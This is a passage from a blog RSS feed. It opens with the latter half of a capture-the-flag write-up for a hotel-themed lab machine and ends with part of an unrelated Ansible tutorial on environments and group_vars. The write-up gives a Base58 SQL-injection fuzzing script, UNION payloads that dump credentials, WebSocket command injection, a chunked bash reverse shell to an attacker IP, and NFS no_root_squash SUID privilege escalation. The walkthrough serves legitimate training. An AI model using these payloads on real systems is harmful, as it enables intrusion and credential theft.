flag.</p><h3>Getting foothold</h3><h4>Initial enumeration</h4><p>As always we start off with a port scan. The output is rather long, so I’ve cut away most of it. We find two services running on port 80 and 4346 and both appear to be websites.</p><pre>root@kali:~$ nmap -sC -sV -v -p- -Pn 10.10.64.49<br>[...]<br>PORT     STATE SERVICE VERSION<br>80/tcp   open  http<br>| http-methods: <br>|_  Supported Methods: GET<br>|_http-title: Welcome to the &#39;Ton!<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.0 200 OK<br>|     content-length: 859<br>|     date: Mon, 22 Jul 2024 08:41:47 GMT<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;title&gt;Welcome to the &#39;Ton!&lt;/title&gt;<br>[...]<br>4346/tcp open  elanlm?<br>| fingerprint-strings: <br>|   GenericLines: <br>|     HTTP/1.1 408 Request Timeout<br>|     content-length: 0<br>|     connection: close<br>|     date: Mon, 22 Jul 2024 08:41:51 GMT<br>|   GetRequest: <br>|     HTTP/1.0 200 OK<br>|     content-length: 10909<br>|     date: Mon, 22 Jul 2024 08:41:52 GMT<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;title&gt;NYCCOM.USERS.PUB&lt;/title&gt;<br>[...]<br>|   NULL: <br>|     HTTP/1.1 408 Request Timeout<br>|     content-length: 0<br>|     connection: close<br>|_    date: Mon, 22 Jul 2024 08:41:46 GMT</pre><p>Let’s briefly visit both websites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpfBzd1JZVmhfgiWZUoM3g.png" /><figcaption>The website on port 80.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wKTYa4r1tFAb2S25rHNLHg.png" /><figcaption>The website on port 4346.</figcaption></figure><p>Some brief stabbing at the login portal on port 4346 without any luck suggests that it’s time to explore the other website, which we will do.</p><p>Inspecting the source code (Ctrl+U) on the first website we find an interesting piece of JavaScript:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbrbNjjavoisx1OPMKetJQ.png" /><figcaption>Finding check-rooms.js in the source code of the first website.</figcaption></figure><p>Upon closer inspection of the JavaScript file check-rooms.js we find a reference to a new page, which we didn’t know about previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5G-se77ZapCnsIP7jDUTg.png" /><figcaption>Inspecting check-rooms.js, finding the /new-booking page.</figcaption></figure><p>The webpage itself is rather dull, but when inspecting the page we find another interesting piece of JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yKPPPqyCGOrnLn7WEnkTsQ.png" /><figcaption>The /new-booking page. Rather dull on its own.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sz5IiFvrsBYjCAN6zuZ0ug.png" /><figcaption>Inspecting the sources, we find new-booking.js however.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y13o6CpjDsSzulS7Yc7nag.png" /><figcaption>Inside new-booking.js.</figcaption></figure><p>Inside the new-booking.js JavaScript something interesting is happening. At the top, outside of the orange box in the image, a function is used to fetch a cookie value. This value is then passed along in a web request to a new endpoint /api/booking-info with parameter ?booking_key= followed by the cookie.</p><p>Let’s go back to the /new-booking page, hit F12 and navigate to Storage &gt; Cookies. Here we will find the cookie that is passed along:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mh5wiXlGriVBwf88z2Yung.png" /><figcaption>Grabbing our cookie for closer inspection.</figcaption></figure><p>We run the Cookie through CyberChef and with some “Magic” we find out that the string is Base58 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZU7aCpyxOG8pVoCueqrqbg.png" /><figcaption>Translating our cookie.</figcaption></figure><p>Upon trying to visit the full endpoint with our cookie, we see that there appears to be no rooms. This parameter would be good to enumerate with SQLMap since this appears to be a look-up in a database. However we also see that the web server returns a 404 Not Found error. This, the 404 error code and the fact that the payload must be Base58 encoded, is a bit of a problem. Stabbing a bit back and forth it becomes clear that we need to write our own script to try to find the SQL injection vulnerability.</p><p>I asked ChatGPT to help me out (I’m lazy, OK). The prompt I used is:</p><pre>Write me a python script which takes three inputs: a URL (-u), a wordlist file (-w) and a number of concurrent threads to use in the script (-t).<br>The script should be multi-threaded based on the -t value and for each line in the wordlist, it should visit the URL+word combination. If the return content length of the response from the web server is greater than 20, it should print the word to the terminal.</pre><p>After making a few modifications of this script, to make it fit our case, I ended up with this:</p><pre>import requests<br>import argparse<br>import hashlib<br>import concurrent.futures<br><br><br># Define the Base58 alphabet<br>BASE58_ALPHABET = &#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;<br><br>def base58_encode(input_bytes):<br>    &quot;&quot;&quot;Encode a byte sequence using Base58 encoding.&quot;&quot;&quot;<br>    num = int.from_bytes(input_bytes, &#39;big&#39;)<br><br>    encode = &#39;&#39;<br>    while num &gt; 0:<br>        num, rem = divmod(num, 58)<br>        encode = BASE58_ALPHABET[rem] + encode<br><br>    n_pad = len(input_bytes) - len(input_bytes.lstrip(b&#39;\x00&#39;))<br>    return &#39;1&#39; * n_pad + encode<br><br>def fetch_url(https://medium.com/base_url,%20word):<br>    input_bytes = f&#39;booking_id:{word}&#39;.encode(&#39;utf-8&#39;)<br>    encoded = base58_encode(input_bytes)<br><br>    try:<br>        full_url = f&quot;{base_url}?booking_key={encoded}&quot;<br>        response = requests.get(full_url, timeout=30)<br>        print(f&#39;{response.content.decode()}:       {word.strip()}   Full URL: {full_url}&#39;)<br>    except requests.RequestException as e:<br>        print(f&quot;Error fetching {full_url}: {e}&quot;)<br><br>def main():<br>    parser = argparse.ArgumentParser(description=&#39;Multi-threaded URL checker.&#39;)<br>    parser.add_argument(&#39;-u&#39;, &#39;--url&#39;, required=True, help=&#39;Base URL&#39;)<br>    parser.add_argument(&#39;-w&#39;, &#39;--wordlist&#39;, required=True, help=&#39;Path to wordlist file&#39;)<br>    parser.add_argument(&#39;-t&#39;, &#39;--threads&#39;, type=int, default=5, help=&#39;Number of concurrent threads&#39;)<br>    args = parser.parse_args()<br><br>    with open(args.wordlist, &#39;r&#39;) as file:<br>        words = file.readlines()<br><br>    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:<br>        futures = [executor.submit(fetch_url, args.url, word) for word in words]<br>        concurrent.futures.wait(futures)<br><br>if __name__ == &#39;__main__&#39;:<br>    main()<br></pre><p>Essentially this code is</p><ul><li>A function that Base58 encodes a string of text</li><li>A function that fetches the booking URL with encoded payload</li><li>Boiler plate code to make it multi-threaded</li></ul><p>Running the code with an <a href="https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/SQLi/quick-SQLi.txt">SQLi wordlist from SecLists</a> we see interesting results:</p><pre>root@kali:~$ python3 custom-sqli.py -u http://10.10.64.49/api/booking-info -w /useful/SecLists/Fuzzing/SQLi/quick-SQLi.txt -t 2<br>[...]<br>{&quot;room_num&quot;:&quot;admin&quot;,&quot;days&quot;:&quot;81dc9bdb52d04dc20036dbd8313ed055\n&quot;}:       1234 &#39; AND 1=0 UNION ALL SELECT &#39;admin&#39;, &#39;81dc9bdb52d04dc20036dbd8313ed055   Full URL: http://10.10.64.49/api/booking-info?booking_key=3Mk1j2Y1hq6VXa2FHW7BhJEpM5v4gHrkHcuj6nDHiQy6XNEwJZTDnsdc7CViDpYsbS8GWGfc1yG9gEzrLDzrcGTtH2EQvYJE3ADJaTEcFR7Jn1CjgQRZNy<br>[...]</pre><p>This was obtained by providing the following injection:</p><pre>1234 &#39; AND 1=0 UNION ALL SELECT &#39;admin&#39;, &#39;81dc9bdb52d04dc20036dbd8313ed055</pre><p>which provides a dummy value of 1234 and then nulifies that entire query with a AND 1=0. This ensures that we do not get the results of 1234 but instead get the results of SELECT &#39;admin&#39;, &#39;81dc... instead. Why is this useful you ask?</p><p>We now know which style of SQL injection works and we now know that the column names are room_num and days.</p><p>Next step is trying to identify which DBMS (<strong>D</strong>ata<strong>b</strong>ase <strong>M</strong>anagement <strong>S</strong>ystem) is used. After stabbing around a bit we identify that it is a SQLite database by selecting its version as the “room_num” with the following payload, then we encode it and test the final URL.</p><pre>booking_id:1&#39; UNION SELECT sqlite_version(), 42--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QRZ6VMQCvOpLsuBypkvTHA.png" /><figcaption>Encoding the SQLi payload to Base58.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pIcy9vwl94BUUW8_sVaRKw.png" /><figcaption>Selecting the version of the SQLite server.</figcaption></figure><p>We can enumerate all table names like so:</p><pre>booking_id:1&#39; UNION SELECT GROUP_CONCAT(name, &#39;, &#39;), 42 FROM sqlite_master WHERE type=&#39;table&#39;--</pre><p>We see three tables: email_access, reservations and bookings_temp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hAtErMHVqGh3jK_Sz7n4QQ.png" /><figcaption>Enumerating all table names.</figcaption></figure><p>We enumerate the columns of the table email_access like so:</p><pre>booking_id:1&#39; UNION SELECT GROUP_CONCAT(name, &#39;, &#39;), 42 FROM pragma_table_info(&#39;email_access&#39;)--</pre><p>which gives us the three columns:</p><ul><li>guest_name</li><li>email_username</li><li>email_password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwUUzrO-30Ga9zQkD12QLg.png" /><figcaption>Enumerating column names in the table “email_access”.</figcaption></figure><p>We can then query each row in the table by combining LIMIT 1 and an OFFSET x where x is an offset such as 1 or 2. We run the following SQLi payload against the service with offsets 0–2:</p><pre>booking_id:1&#39; UNION SELECT email_username, email_password FROM email_access LIMIT 1 OFFSET 1--</pre><p>Running it with OFFSET 0 we get a username of “NEVER LOGGED IN” and an empty password. Using OFFSET 1 we get the credentials of a user for the system: pdenton:4321chameleon and using OFFSET 2 we get an error. It seems that there is only one user in the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzWf5B3kpKO_ui7_-XDEjg.png" /><figcaption>Credentials are found!</figcaption></figure><p>These credentials give us access to the second website at port 4346.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZAIunLBgabQUIU3rFnhLg.png" /><figcaption>Successfully logged in to the web portal at port 4346.</figcaption></figure><p>Reading the message from JReyes we get our first flag.</p><h4>Foothold on the machine</h4><p>Upon closer inspection of the website and the source of it — which seems to be a theme in this room — we see more interesting JavaScript which influences the timestamp in the top left corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*1x-CjUxksaGmzz_2HM4MQw.png" /><figcaption>Oddly complicated JavaScript simply to show the local time. Seems interesting.</figcaption></figure><p>As the image footer says the complexity for simply posting the local time is odd and interesting. Let’s prettify the code and see what it does. I like to use <a href="https://lelinhtinh.github.io/de4js/">https://lelinhtinh.github.io/de4js/</a> for my JavaScript deobfuscating and prettifying needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIxmlds0CYx9ApWkI0qYlQ.png" /><figcaption>Making the JavaScript look pretty</figcaption></figure><p>One interesting bit of this code can be found at the end of it:</p><pre>const wsUri = `ws://${location.host}/ws`;<br>socket = new WebSocket(wsUri);<br>let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;<br>socket.onmessage = e =&gt; document.querySelector(&quot;.time&quot;).innerText = e.data, setInterval((() =&gt; socket.send(tz)), 1e3);</pre><p>We’ve got a WebSocket set up to the web server and we send the time zone information to it. The output of the query, i.e. what is shown in the corner of the page, looks like the result of running date on a Linux machine. One way to influence that value is to set an environment variable of TZ which can be done on the entire machine, but also as part of the call itself. This would allow for multiple people to use the website at once, so most likely this is what happens. In that case the syntax would be TZ=timezone date.<br>Smells like a potential RCE. Let’s get to it.</p><p>First let’s start up Wireshark and start listening. We immediately see that once a second the timestamp comes in. This is from the web socket.</p><p>Next, we open the browser console and set a custom “time zone” value and then query the socket with this new value:</p><pre>tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + &#39;; id;&#39;;<br>socket.send(tz_id);</pre><p>In Wireshark the RCE is confirmed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A14EvxKxMPuXZzf_ZwCx7A.png" /><figcaption>RCE confirmed by inspecting web socket packets.</figcaption></figure><p>In the lower right hand corner the result of running id can be found:</p><pre>uid=1001(gilbert) gid=1001(gilbert) groups=1001(gilbert)<br>Mon 22 Jul 2024 12:31:22 PM UTC</pre><p>The RCE seems to have a limit on the length of requests because running the exploit with Cuba; id; id; works fine, however this breaks:</p><pre>socket.send(&#39;Cuba; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id; id;&#39;)</pre><p>Fiddling a bit with this we discover that 24 chars after Cuba; seem to work fine. This was tested by running the following and observing it fail when another id; was added.</p><pre>socket.send(&#39;Cuba;id;id;id;id;id;id;id;id;&#39;)</pre><p>This means that if we want to upload a reverse shell script we need to do it in chunks of 5 chars per call because echo -n &quot;&quot;&gt;&gt;/tmp/b; already takes up 19 chars. Let’s do that.</p><pre># Raw payload:<br>bash -i &gt;&amp; /dev/tcp/10.11.97.207/80 0&gt;&amp;1<br><br># Splitting it up in chunks:<br>socket.send(&#39;Cuba;echo -n &quot;bash &quot;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot;-i &gt;&amp;&quot;&gt;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot; /dev&quot;&gt;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot;/tcp/&quot;&gt;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot;10.11&quot;&gt;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot;.97.2&quot;&gt;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot;07/80&quot;&gt;&gt;tmp/b;&#39;)<br>socket.send(&#39;Cuba;echo -n &quot; 0&gt;&amp;1&quot;&gt;&gt;tmp/b;&#39;)</pre><p>Then we are able to listen for a shell to ping back on port 80 after running the /tmp/b file in bash.</p><p>Inspecting the file by sending the payload &#39;Cuba;echo;cat /tmp/b;echo; we see that it has been produced as expected (notice that our reverse shell is on its own line because of the echo):</p><pre>E9¹@?Kª<br><br>@1<br> aÏúßúmUuÆÆMgãv<br>qf¥³Q·ÂJ<br>bash -i &gt;&amp; /dev/tcp/10.11.97.207/80 0&gt;&amp;1<br>Mon 22 Jul 2024 01:17:33 PM UTC</pre><p>We run it and pick up a shell.</p><pre>root@kali:~$ nc -lvnp 80         <br>listening on [any] 80 ...<br>connect to [10.11.97.207] from (UNKNOWN) [10.10.64.49] 43372<br>bash: cannot set terminal process group (682): Inappropriate ioctl for device<br>bash: no job control in this shell<br>gilbert@tonhotel:/$ </pre><h4>Lateral movement to other users</h4><p>After elevating our shell to a pseudo TTY we explore the home directory of gilbert and find an interesting note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*q6pr9GtXzyJFZbgbMedKPA.png" /><figcaption>An interesting file: hotel-jobs.txt</figcaption></figure><p>The last bullet may be a password which is confirmed when running<br>sudo -l.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqewiNbBzMQr0URw1Dz_rA.png" /><figcaption>Gilbert and their super powers.</figcaption></figure><p>Running this shows that only port 80 and 443 are open inbound and outbound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*T8zWZYc3cEC4OHuU_jlmMg.png" /><figcaption>The firewall only allows certain ports to be accessed.</figcaption></figure><p>This information would have been nice when trying to get a reverse shell if we hadn’t been lucky and guessed that port 80 was open, however we can ignore this for now.</p><p>In the other note that’s in Gilberts home directory we find a hint from Sandra of a third note she left him:</p><pre>gilbert@tonhotel:~$ cat dad.txt <br>left you a note by the site -S</pre><p>I tried looking for /var/www but couldn’t find it, so I ran ps -auxf to get a list of all running processes. Among the many processes I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*QFJ1Z9BR_zcIhULf0DmQDQ.png" /><figcaption>Where is the website running from? /srv it seems.</figcaption></figure><p>Looking inside/srv we find the third note from Sandra:</p><pre>gilbert@tonhotel:~$ cat /srv/.dad <br>i cant deal with your attacks on my friends rn dad, i need to take some time away from the hotel. if you need access to the ton site, my pw is where id rather be: &lt;REDACTEC&gt;. -S</pre><p>Which contains Sandras password (redacted from the above). We switch user and grab the User flag.</p><pre>gilbert@tonhotel:~$ su sandra<br>Password:<br><br>sandra@tonhotel:/srv$ cd /home/sandra<br>sandra@tonhotel:~$ wc -c user.txt<br>46 user.txt</pre><h3>Escalating to root</h3><p>Inside Sandras Pictures folder we find a picture. We base64 encode it with base64 -w 0 boss.jpg and copy the base64 encoded text.</p><p>In our terminal on Kali we run<br>echo &quot;BASE64_ENCODED_TEXT_HERE&quot; | base64 -d &gt; boss.jpg and open the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*MI7nXxpDbU3UG_W_1hbMoQ.png" /><figcaption>JoJo Fines password redacted.</figcaption></figure><p>Once more we su this time to jojo.</p><p>Running sudo -l as jojo reveals that we can use mount.nfs as root:</p><pre>jojo@tonhotel:~$ sudo -l<br>[sudo] password for jojo: <br>Matching Defaults entries for jojo on tonhotel:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User jojo may run the following commands on tonhotel:<br>    (root) /usr/sbin/mount.nfs</pre><p>Remember the firewall? We need to run an NFS mount on our attacker machine on port 443.</p><p>First we configure NFS to use port 443 instead of the default, by modifying the configuration file. Here is my change:</p><pre>root@kali:~$ grep &#39;^port=443&#39; /etc/nfs.conf --before-context=4<br>[nfsd]<br># debug=0<br># threads=8<br># host=<br>port=443</pre><p>Then we modify /etc/exports and add an entry such as</p><pre>/srv/nfs/share *(rw,sync,no_subtree_check,no_root_squash)</pre><p>The no_root_squash option here is important. Because of how the linux file system works, NFS mounts also use ID-based permissions. In other words a user with UID 1000 on the local machine has the same permissions on the remote machine corresponding to the remote machine UID 1000.</p><p>This is a problem for root being UID 0. A solution is to “squash” the root user of clients, effectively changing their UID to prevent them from having root access in the file share. To disable this, we set the option no_root_squash.</p><p>At last we restart the NFS service:</p><pre>root@kali:~$ systemctl restart nfs-kernel-server</pre><p>When everything is ready we can mount the share with sudo and confirm that we see content from the NFS (notice the -o port=443 option):</p><pre>jojo@tonhotel:~$ sudo /usr/sbin/mount.nfs -o port=443 10.11.97.207:/srv/nfs/share /home/jojo/mnt<br>jojo@tonhotel:~$ ls -las mnt/<br>total 8<br>4 drwxr-xr-x 2 root root 4096 Jul 22 14:25 .<br>4 drwxr-xr-x 3 jojo jojo 4096 Jul 22 14:28 ..<br>0 -rw-r--r-- 1 root root    0 Jul 22 14:25 birb.txt</pre><p>Because of root squashing being disabled if we were to put a SUID binary inside the share, jojo would be able to run this file as root. I tried compiling a copying a simple C binary but when running the binary on the remote machine I was faced with a libc error.</p><p>Instead I used a static strings <a href="https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/strings">from this GitHub repo</a> file and changed its permissions on my kali machine, then copied it over to the NFS and grabbed the root flag as jojo:</p><pre>root@kali:~$ cp /useful/static-bins/static-binaries/binaries/linux/x86_64/strings /srv/nfs/share<br>root@kali:~$ chmod u+s /srv/nfs/share/strings</pre><pre>jojo@tonhotel:~/mnt$ ls -las<br>total 1148<br>   4 drwxrwxrwx 2 root root    4096 Jul 22 15:05 .<br>   4 drwxr-xr-x 3 jojo jojo    4096 Jul 22 14:35 ..<br>   0 -rw-r--r-- 1 root root       0 Jul 22 14:25 birb.txt<br>1140 -rwsr-xr-x 1 root root 1166840 Jul 22 15:03 strings<br><br>jojo@tonhotel:~/mnt$ ./strings /root/root.txt<br>thm{7f6[...]d3b}</pre><p>To get full root there are two ways. Either we could copy the sh binary from the victim machine to the NFS share, then set a SUID bit on the binary from the attacker machine, or we could install a VM corresponding to the target machine which seems to be a 64 bit Ubuntu 20.04.6 LTS machine:</p><pre>jojo@tonhotel:~$ uname -a<br>Linux tonhotel 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux<br><br>jojo@tonhotel:~$ cat /etc/lsb-release <br>DISTRIB_ID=Ubuntu<br>DISTRIB_RELEASE=20.04<br>DISTRIB_CODENAME=focal<br>DISTRIB_DESCRIPTION=&quot;Ubuntu 20.04.6 LTS&quot;</pre><p>then compile and run the SUID binary. I was happy with just getting the flag, but for all intents and purposes, this is how it can be exploited.</p><h3>Thank you</h3><p>Thank you for reading along. If you liked this article, please consider liking it or leaving a comment. Until next time!</p><p>— Birb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00c7cdc1347f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ansible at Scale — Working With Multiple  Environments is Easy]]></title>
            <link>https://medium.com/@0xbirb/ansible-at-scale-working-with-multiple-environments-is-easy-b512d3afc71b?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/b512d3afc71b</guid>
            <category><![CDATA[ansible]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[scalability]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[course]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Sat, 20 Jul 2024 15:27:13 GMT</pubDate>
            <atom:updated>2024-07-23T09:13:37.870Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ansible at scale — working with multiple environments made easy</h3><h4>How to introduce the concept of “environments” to effortlessly manage multiple different types of Ansible deployments at scale.</h4><figure><img alt="AI generated logo of an “A” in front of graphics resembling cloud, automation and various construction components." src="https://cdn-images-1.medium.com/max/800/1*5EcVKunG7DVBZ7agBPUC_Q.png" /><figcaption>Generated with AI.</figcaption></figure><h3>Ansible at scale</h3><p>Ansible is often chosen for its simplicity and ease of use. Compared to some of the alternatives, Ansible is a “easy to learn, hard to master” Configuration Management tool. It doesn’t have to be hard to master, however. With a few simple tricks, this article demonstrates how you can structure your Ansible environments to allow for scalability and reusability. Before getting to the main course, small appetizers will be served to briefly recap on some of the key concepts of Ansible: playbooks, inventories, variables and roles.</p><p>Ps: I loathe “Hello World” examples so let’s do better, shall we?</p><p>A fully functional project of installing Apache2 and neovim can be found on my GitHub. As I recommend reading through this blog post first, for the context that is, I’ve put the link to this repo at the end.</p><h4>Recap: playbooks</h4><p>My first “gotcha” when learning Ansible some years ago was how playbooks work. I’m sure it was for mostly everyone else as well. My first playbooks consisted mostly of tasks with names and <em>maybe</em> the occasional role if I were so lucky that somebody had shared exactly what I needed on GitHub.</p><p>As I soon discovered, although too late (the scripts were “in prod” already, and why fix something that isn’t broken), if you treat a playbook like a shell script you’re doing it wrong.</p><p>Let’s look at a simple playbook which could in theory be deploying an Ubuntu server:</p><pre>---<br>- name: Ubuntu Server, debug environment<br>  hosts: testing<br>  roles:<br>    - role: ubuntu/neovim<br>    - role: ubuntu/apache<br><br>- name: Ubuntu Server, production<br>  hosts: production<br>  roles:<br>    - role: ubuntu/apache</pre><p>Instead of having an ubuntu-test.yml and an ubuntu-prod.yml playbook with all of the tasks needed to create these machines, we define one common ubuntu.yml playbook which favors reusability by extracting the hard work to individual roles.</p><p>This makes the playbook readable and very easy to work with if we, say, wanted to introduce another “kind” of Ubuntu server, e.g., a pre-prod server. The first step towards scalability is making sure our playbooks are easy to maintain and not cluttered with tasks that should have been separate roles.</p><h4>Recap: inventories</h4><p>Inventories are where we keep information about our fleet of machines to provision. We can group these machines together under common group names so that when we decide to run a playbook, we can decide to target all of the machines or a subset of the machines by group name. The is convenient and lets us at first glance remind ourselves which machines are to be used in test, in production and so forth. Better yet, it is one of the fundamental building blocks allowing us to scale.</p><p>Let’s first consider this inventory file hosts:</p><pre>[ubuntu:children]<br>production<br>testing<br><br>[production:children]<br>prod_a<br>prod_b<br><br>[prod_a]<br>web01.birb.local<br><br>[prod_b]<br>web02.birb.local<br><br>[testing]<br>test01.birb.local</pre><p>In this example the two production machines have been split into an “a” and a “b” list, suggesting that the production environment supports A/B testing in some capacity — possibly with a load balancer in front. This just goes to show that even though we split up the machines like this, both of web01.birb.local and web02.birb.local are by inheritance included in the production group. Furthermore we have one machine in the testing group.</p><p>In the playbook above we reference “production” and “testing” hosts. In each case, the machines in the hosts inventory above are the machines that will have the roles executed. If we instead were to target ubuntu rather than production or testing, all of the machines would be in scope by inheritance.</p><h4>Recap: variables</h4><p>Ironically, this is where the fun begins. Why ironically? Well, variables are typically among the first topics to be taught in virtually every topic where where they are supported, and yet here I am, excited as ever. Let’s talk variables!</p><p>In its simplest form, variables can be stored in a YAML file as a list of key-value pairs as shown here:</p><pre>---<br>html_root: &quot;/var/www/html&quot;<br>prod_port: 443<br>test_port: 8443</pre><p>At first glance this seems to be all fine. But if we define the HTTPS port for production and for testing as two separate variables, most likely we will be forced to handle this as a “special case”, e.g., by looking up which inventory group the playbook is running in. Somehow. With duct tape. It’s ugly, and we can do better.</p><p>Ansible supports defining variables inside the hosts file, so that each environment can have <em>their own</em> version of a variable. This allows us to replace prod_port and test_port with a more generic https_port variable that is different in different groups. We remove the old port variables from the vars.yml file (or whichever the name) leaving us with just:</p><pre>---<br>html_root: &quot;/var/www/html&quot;</pre><p>and introduce a https_port variable in each of the production and testing groups in the hosts file:</p><pre>[ubuntu:children]<br>production<br>testing<br><br>[production:children]<br>prod_a<br>prod_b<br><br>[production:vars]<br>https_port=443<br><br>[prod_a]<br>web01.birb.local<br><br>[prod_b]<br>web02.birb.local<br><br>[testing]<br>test01.birb.local<br><br>[testing:vars]<br>https_port=8443</pre><p>We define the relevant value of the variable depending on the group by adding the following additions to the production group</p><pre>[production:vars]<br>https_port=443</pre><p>and the testing group:</p><pre>[testing:vars]<br>https_port=8443</pre><p>In other words, whenever the playbook runs for the production group, the https_port is set to 443 and whenever it runs for the testing group the variable is set to 8443.</p><p>This is OK — better at least — but as we will see during the main event of the blog post, we can do <em>much</em> better than this as well.</p><p>For now, let’s move on with a recap of roles.</p><h4>Recap: roles</h4><p>Roles in Ansible are self-contained components that can be reused across multiple playbooks, as in our case. They have a predefined folder structure which can be found <a href="https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html#role-directory-structure">on the official documentation</a>, but for our needs the tasks folder is enough.</p><p>Let’s look at an example role that I created to install apache web server:</p><pre>---<br>- name: Install apache2<br>  become: yes<br>  ansible.builtin.apt:<br>    name: apache2<br>    update_cache: yes<br>    state: latest<br><br>- name: Set listening port for HTTPS<br>  become: yes<br>  ansible.builtin.replace:<br>    path: /etc/apache2/ports.conf<br>    regexp: &#39;.*Listen [8]?443&#39;<br>    replace: &#39;\tListen {{ https_port }}&#39;<br><br>- name: Set virtualhost port<br>  lineinfile:<br>    dest: /etc/apache2/sites-available/000-default.conf<br>    regexp: &#39;^&lt;VirtualHost .*&gt;&#39;<br>    line: &#39;&lt;VirtualHost *:{{ https_port }}&gt;&#39;<br><br>- name: Restart apache2<br>  ansible.builtin.service:<br>    name: apache2<br>    state: restarted</pre><p>This role has four tasks:</p><ul><li>Install apache2</li><li>Configure /etc/apache2/ports.conf as needed</li><li>Configure /etc/apache2/sites-available/000-default.conf as needed</li><li>Restart the apache2 service for the changes to take effect</li></ul><p>If you read the code carefully you will see that we reference our ports variable {{ https_port }} in the script. Here comes the magic: by using a role like this, we can use the same steps in both our production and our testing environments, but having the value of the https_ports defined in the relevant environment, e.g., testing.</p><p>It is now time to talk about project structure and how getting this right can help us use Ansible at scale with ease.</p><h3>The beauty of project structures</h3><p>Before we get ahead of ourselves there’s one last important thing to know about Ansible variables, which I promised to return to. Let’s go through that now.</p><h4>Ansible variables — group_vars and host_vars</h4><p>Let’s return to the variables discussion for a short while. Recall how we can define variables for an environment (or group, strictly speaking) inside the hosts file like so:</p><pre>[production:vars]<br>https_port=443</pre><p>We can do the same using using a group_vars and host_vars folder structure. These names are specific names of folders, which content will be picked up by Ansible when running a playbook.</p><p>Let’s consider the following folder structure example:</p><pre>...<br>│<br>├── group_vars<br>│   ├── all<br>│   │   └── vars<br>│   │       └── main.yml<br>│   ├── production<br>│   │   └── vars<br>│   │       └── main.yml<br>│   └── testing<br>│       └── vars<br>│           └── main.yml<br>└── hosts</pre><p>Inside the folder containing our hosts file, we can create a folder for each inventory group. Shown above are the three groups we can reference in Ansible: the default all covering all machines in all groups and our production and testing groups. Ansible will read the contents of each of these folders and load the variables it finds such that:</p><ul><li>Variables in all can be used in all groups</li><li>Variables in production and testing override the same variables in all, in case of duplicates</li></ul><p>This enables us to set a default value of a variable in the all group and then override this value in each relevant “environment” (group) that we need, e.g., we could define a variable of the version of a tool which is applicable to all groups by default, but then also override this if needed in a testing environment (group) or staging environment (group) if we needed to.</p><p>On top of this we can use host_vars which lets us override variables defined in either of the group_vars. A specific host could have a host_vars configuration explicitly setting the https_port to an entirely different port number for whichever reason. This would be defined in a per-host configuration in a structure such as the one shown here:</p><pre>...<br>│<br>├── group_vars<br>│   ├── all<br>│   │   └── vars<br>│   │       └── main.yml<br>│   ├── production<br>│   │   └── vars<br>│   │       └── main.yml<br>│   └── testing<br>│       └── vars<br>│           └── main.yml<br>├── hosts<br>└── host_vars<br>    ├── test01.birb.local<br>    │   └── vars<br>    │       └── main.yml<br>    